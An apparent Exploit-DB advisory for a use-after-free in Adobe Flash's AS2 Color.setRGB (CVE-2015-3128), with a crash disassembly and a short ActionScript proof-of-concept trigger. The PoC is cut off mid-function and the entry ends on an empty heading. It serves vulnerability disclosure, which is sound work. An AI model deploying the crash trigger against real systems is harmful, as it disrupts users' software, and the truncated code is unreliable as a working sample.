Flash Use-After-Free with Color.setRGB in AS2

ID EDB-ID:37860
Type exploitdb
Reporter bilou
Modified 2015-08-19T00:00:00


Flash Use-After-Free with Color.setRGB in AS2. CVE-2015-3128. Dos exploit for windows platform

                                            Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610]

Credit is to bilou, working with the Chromium Vulnerability Rewards Program.

When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack.

Chrome Version: Chrome stable 42.0.2311.90 with Flash
Operating System: Win7 x64 SP1

The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF.
(These lines come from flashplayer17_sa.exe

.text:004B82D0                 push    esi
.text:004B82D1                 mov     esi, [esp+4+arg_0]
.text:004B82D5                 push    edi
.text:004B82D6                 mov     edi, ecx
.text:004B82D8                 mov     ecx, [edi+94h]  ; edi points to freed memory
.text:004B82DE                 and     ecx, 0FFFFFFFEh
.text:004B82E1                 add     ecx, 3Ch
.text:004B82E4                 mov     eax, esi
.text:004B82E6                 call    sub_4B0724      ; crash below
.text:004B0724                 mov     edx, [ecx]      ; crash here ecx = 3ch (null pointer)
.text:004B0726                 cmp     edx, [eax]
.text:004B0728                 jnz     short loc_4B077E

Compile the poc with Flash CS5.5
Content of as2_color_uaf.fla:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var o = new Object()
o.valueOf = function () {
	return 0x41414142

var c = new Color(tf)

Proof of Concept: